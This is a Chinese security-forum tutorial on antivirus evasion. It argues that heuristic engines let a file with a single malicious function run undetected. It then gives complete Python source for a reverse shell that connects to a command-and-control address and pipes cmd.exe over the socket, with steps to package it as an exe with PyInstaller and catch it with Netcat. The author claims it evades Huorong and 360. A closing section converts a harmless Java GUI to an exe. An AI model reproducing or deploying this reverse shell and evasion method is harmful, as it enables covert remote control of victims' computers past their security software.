问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
免杀初探(四)
渗透测试
分享者才是学习中最大的受益者!
前言 == 防病毒软件供应商需要处理的中心问题之一是误报 防病毒软件不应该向用户报告发生的每一个微小的、无关紧要的事件 如果是这样,用户可能被迫放弃该防病毒软件,并切换到另一个在正常使用期间创建更少中断的防病毒软件。 为了应对假阳性检测,防病毒厂商提高了他们的检测率 针对单个恶意功能 -------- 例如,如果一个文件没有在静态和动态引擎中签名,启发式引擎将运行,并开始使用各种参数自行计算该文件是否是恶意的 例如,防病毒软件将尝试确定文件是否正在打开套接字、 执行下放到持久性文件夹以及从远程服务器接收命令 例如,该文件被检测为恶意文件,杀毒软件将阻止其运行,这一比率可能为70%。 要利用这种情况执行防病毒绕过 我们需要问一个重要问题: 当恶意文件执行单个恶意功能时,防病毒软件会发出警报吗? 因此,它取决于功能。如果我们谈论的功能不一定是恶意的,防病毒软件会检测到该文件包含恶意功能,但得分不会高到向用户发出警报或阻止恶意文件运行, 因此防病毒软件会允许该文件运行 关键就在于: **启发式引擎的这种行为正是我们可以利用的绕过杀毒软件** so,如果只有一个条件为真,文件的得分就会增加,防病毒软件就会检测到该文件是恶意的并对其进行签名 但如果得分较低,防病毒程序将不会发出恶意软件警报,即使它包含恶意功能 ![image-20210827151759486](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-acf9b110e3ca6005b5746eb2d61a7211724ff50b.png) python代码编译可执行文件 --------------- demo ---- 使用一个连接到远程命令和控制服务器的Python程序 ```python import os, socket, sys import threading as trd import subprocess as sb def sock2proc(s, p): while True: p.stdin.write(s.recv(1024).decode()); p.stdin.flush() def proc2sock(s, p): Antivirus bypass using a single malicious functionality 165 while True: s.send(p.stdout.read(1).encode()) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) while True: try: s.connect(("x.x.x.x", 443)) break except: pass p=sb.Popen(["cmd.exe"], stdout=sb.PIPE, stderr=sb. STDOUT, stdin=sb.PIPE, shell=True, text=True) trd.Thread(target=sock2proc, args=[s,p], daemon=True).start() trd.Thread(target=proc2sock, args=[s,p], daemon=True).start() try: p.wait() except: s.close() sys.exit(0) ``` 安装pip ----- ```php python.exe -m pip install --upgrade pip ``` ![image-20210827153400697](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-cc19365eccb40ad576a769fc3a2d35cfc8c72ec0.png) 安装pyinstaller模块 --------------- 使用pip安装: ```php pip install pyinstaller -i https://pypi.tuna.tsinghua.edu.cn/simple some-package ``` 生成exe ----- 使用`pyinstaller`即可 ```php pyinstaller --onefile python.py ``` ![image-20210827155045015](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-ece4f4016a616b7da97d3cd334be5a168e21c381.png) 本地测试 用Netcat监听 ![image-20210827155121742](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-c408ea5a48541ca858b46c1dad0c83d062077490.png) ![image-20210827154722571](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-20a6d8dfe34a9a449db4daf1ceb31fdae13af608.png) **笔者测试 火绒和360都是过的** 执行一些危险的命令也是可以的 ![image-20210827155559835](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-04ed4a8b59d7451449a7962e04b066d2057cf548.png) ![image-20210827155632689](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-da6723c6466005619b5bc1e3e68fad4b0ab6dd91.png) 题外话 === Java编译可执行文件 =========== demo ---- 以一个简单的Java Gui程序进行演示 ```Test1.java import java.util.Scanner; import javax.swing.JOptionPane; public class Test1{ public static void main(String[] args){ while(true){ System.out.print("Please input:"); Scanner s=new Scanner(System.in); String str=s.nextLine(); if("ByeBye".equals(str)){ System.out.print("The process is over"); System.exit(0); }else{ JOptionPane.showMessageDialog(null, "You input is "+str, str, JOptionPane.PLAIN_MESSAGE); } } } } ``` Java->JAR ------------ 编译并执行 ----- ```php javac .\Test1.java java Test1 ``` ![image-20210810193720832](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-a2da7eda34b19d1dae7e262441d9972d18457788.png) 成功弹窗 **JAVA 文件转换为 JAR 文件** --------------------- ```php jar cvf Test1.jar Test1.class ``` ![image-20210810193904904](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-c3603aa19f34315eb74c479f65de735e60496a78.png) **JAR 编辑 MANIFEST.MF** ---------------------- 运行jar 文件 ```php java -jar Test1.jar ``` ![image-20210810194022549](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-a8ef513e197e296331f145a3e700bbec6aed51e7.png) 报错:`Test1.jar`中没有主清单属性 原因是因为:我们创建的 jar 文件创建了一个默认的 `manifest.mf`文件,该文件不知道main 方法所在的位置 从 jar 文件外部将位于类的 main 方法添加到清单文件中 ------------------------------- 创建一个名为`manifest.txt`的文本文件 进行添加`Main-Clas` ```php Main-Class: Test1 ``` ![image-20210810210231704](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-aa82cfa4b1d752fcf82cafd4390a32d2af03fe28.png) **不要尝试手动将其添加到 JAR 文件中的 MANIFEST 文件中,是行不通的** 在`MANIFEST.MF`文件中添加位于类的主要方法 --------------------------- ```php jar cmf manifest.txt Test1.jar Test1.class ``` ![image-20210810210704209](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-e9e482219e467b5c84b5e4a2b41f27d160b7032f.png) 检查 JAR 文件是否可用 ------------- ```php java -jar .\Test1.jar ``` ![image-20210810210807960](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-1cd2b054f69b14fb90ea692053496254214b5f1f.png) JAR->EXE ----------- 使用`Launch4j` 下载链接:<https://sourceforge.net/projects/launch4j/files/> 启动Launch4j ---------- ![image-20210810211644331](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-db888cfebf5d532e91edc2cebe3dd3f27fde0559.png) 选择Jar路径 和输出exe的路径 ----------------- ![image-20210810211829839](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-9d890b655d17b256d86a673cb2040fef983276f2.png) 选择JRE的paths和version ------------------- 与自己电脑相匹配 ![image-20210810212303901](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-79f699e7071911466378442a0caf1a20b9803ed6.png) 选择.xml 文件的保存位置 -------------- ![image-20210810212608051](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-bb8ff87e7f53acbcf38972138cbf1087d3282080.png) ![image-20210810213827425](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-d68802d90ccefc1d678404f8258879cbd240b669.png) 总结 == 技术不是一个单一的,即使我们使用特定的技术设法通过静态引擎 但是 肯定不是持久的 ![](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-d3fa5c64c26a4659c09ac80a29fa7acf7e7da5a7.png)
发表于 2021-08-31 19:05:11
阅读 ( 4591 )
分类:
漏洞分析
0 推荐
收藏
0 条评论
请先
登录
后评论
略略略
36 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!